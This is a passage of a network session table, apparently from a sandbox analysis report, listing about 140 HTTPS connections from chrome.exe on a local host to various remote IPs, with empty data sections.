1964	192.168.2.4	52159	68.67.160.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1965	192.168.2.4	52146	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1966	192.168.2.4	52144	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1967	192.168.2.4	52142	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1968	192.168.2.4	52161	52.46.154.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1969	192.168.2.4	52148	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1970	192.168.2.4	52143	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1971	192.168.2.4	52152	172.253.62.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1972	192.168.2.4	52173	52.46.143.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1973	192.168.2.4	52157	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1974	192.168.2.4	52155	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1975	192.168.2.4	52167	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1976	192.168.2.4	52165	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1977	192.168.2.4	52160	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1978	192.168.2.4	52176	3.222.196.53	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1979	192.168.2.4	52156	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1980	192.168.2.4	52163	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1981	192.168.2.4	52147	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1982	192.168.2.4	52153	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1983	192.168.2.4	52174	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1984	192.168.2.4	52166	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1985	192.168.2.4	52169	192.184.68.166	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1986	192.168.2.4	52149	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1987	192.168.2.4	52168	54.192.29.138	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1988	192.168.2.4	52188	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1989	192.168.2.4	52170	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1990	192.168.2.4	52190	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1991	192.168.2.4	52209	18.160.18.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1992	192.168.2.4	52212	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1993	192.168.2.4	52195	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1994	192.168.2.4	52175	18.160.18.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1995	192.168.2.4	52183	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1996	192.168.2.4	52197	52.203.159.247	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1997	192.168.2.4	52181	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1998	192.168.2.4	52196	50.16.197.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1999	192.168.2.4	52193	54.86.50.11	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2000	192.168.2.4	52201	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2001	192.168.2.4	52199	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2002	192.168.2.4	52179	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2003	192.168.2.4	52210	34.205.236.93	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2004	192.168.2.4	52205	68.67.160.75	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2005	192.168.2.4	52206	172.253.62.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2006	192.168.2.4	52177	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2007	192.168.2.4	52220	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2008	192.168.2.4	52194	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2009	192.168.2.4	52186	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2010	192.168.2.4	52189	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2011	192.168.2.4	52219	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2012	192.168.2.4	52208	18.160.18.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2013	192.168.2.4	52200	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2014	192.168.2.4	52221	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2015	192.168.2.4	52180	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2016	192.168.2.4	52207	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2017	192.168.2.4	52184	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2018	192.168.2.4	52213	52.203.99.111	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2019	192.168.2.4	52178	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2020	192.168.2.4	52198	104.244.42.67	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2021	192.168.2.4	52202	52.210.206.4	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2022	192.168.2.4	52224	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2023	192.168.2.4	52185	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2024	192.168.2.4	52228	52.46.154.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2025	192.168.2.4	52222	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2026	192.168.2.4	52217	18.160.18.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2027	192.168.2.4	52225	52.46.154.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2028	192.168.2.4	52216	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2029	192.168.2.4	52192	54.86.50.11	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2030	192.168.2.4	52172	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2031	192.168.2.4	52204	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2032	192.168.2.4	52235	68.67.179.166	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2033	192.168.2.4	52191	34.205.236.93	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2034	192.168.2.4	52215	216.219.92.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2035	192.168.2.4	52230	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2036	192.168.2.4	52234	209.54.183.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2037	192.168.2.4	52218	52.70.229.134	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2038	192.168.2.4	52237	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2039	192.168.2.4	52223	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2040	192.168.2.4	52203	18.160.18.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2041	192.168.2.4	52226	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2042	192.168.2.4	52211	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2043	192.168.2.4	52240	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2044	192.168.2.4	52232	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2045	192.168.2.4	52233	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2046	192.168.2.4	52236	104.18.214.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2047	192.168.2.4	52238	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2048	192.168.2.4	52243	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2049	192.168.2.4	52241	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2050	192.168.2.4	52242	172.253.62.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2051	192.168.2.4	52229	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2052	192.168.2.4	52246	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2053	192.168.2.4	52244	18.160.10.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2054	192.168.2.4	52245	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2055	192.168.2.4	52249	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2056	192.168.2.4	52247	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2057	192.168.2.4	52252	52.46.154.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2058	192.168.2.4	52250	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2059	192.168.2.4	52256	18.160.18.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2060	192.168.2.4	52257	209.54.183.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2061	192.168.2.4	52254	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2062	192.168.2.4	52251	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2063	192.168.2.4	52258	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2064	192.168.2.4	52253	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2065	192.168.2.4	52260	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2066	192.168.2.4	52259	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2067	192.168.2.4	52255	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2068	192.168.2.4	52261	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2069	192.168.2.4	52262	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2070	192.168.2.4	52263	151.101.65.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2071	192.168.2.4	52264	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2072	192.168.2.4	52265	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2073	192.168.2.4	52270	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2074	192.168.2.4	52268	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2075	192.168.2.4	52267	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2076	192.168.2.4	52266	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2077	192.168.2.4	52269	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2078	192.168.2.4	52271	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2079	192.168.2.4	52272	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2080	192.168.2.4	52274	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2081	192.168.2.4	52273	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2082	192.168.2.4	52276	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2083	192.168.2.4	52275	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2084	192.168.2.4	52277	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2085	192.168.2.4	52278	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2086	192.168.2.4	52280	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2087	192.168.2.4	52282	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2088	192.168.2.4	52279	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2089	192.168.2.4	52283	18.160.24.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2090	192.168.2.4	52285	172.98.26.245	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2091	192.168.2.4	52286	52.46.154.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2092	192.168.2.4	52287	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2093	192.168.2.4	52291	18.160.18.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2094	192.168.2.4	52293	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2095	192.168.2.4	52290	35.168.164.141	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2096	192.168.2.4	52289	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2097	192.168.2.4	52288	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2098	192.168.2.4	52310	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2099	192.168.2.4	52292	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2100	192.168.2.4	52294	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2101	192.168.2.4	52295	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2102	192.168.2.4	52298	209.54.183.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2103	192.168.2.4	52301	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
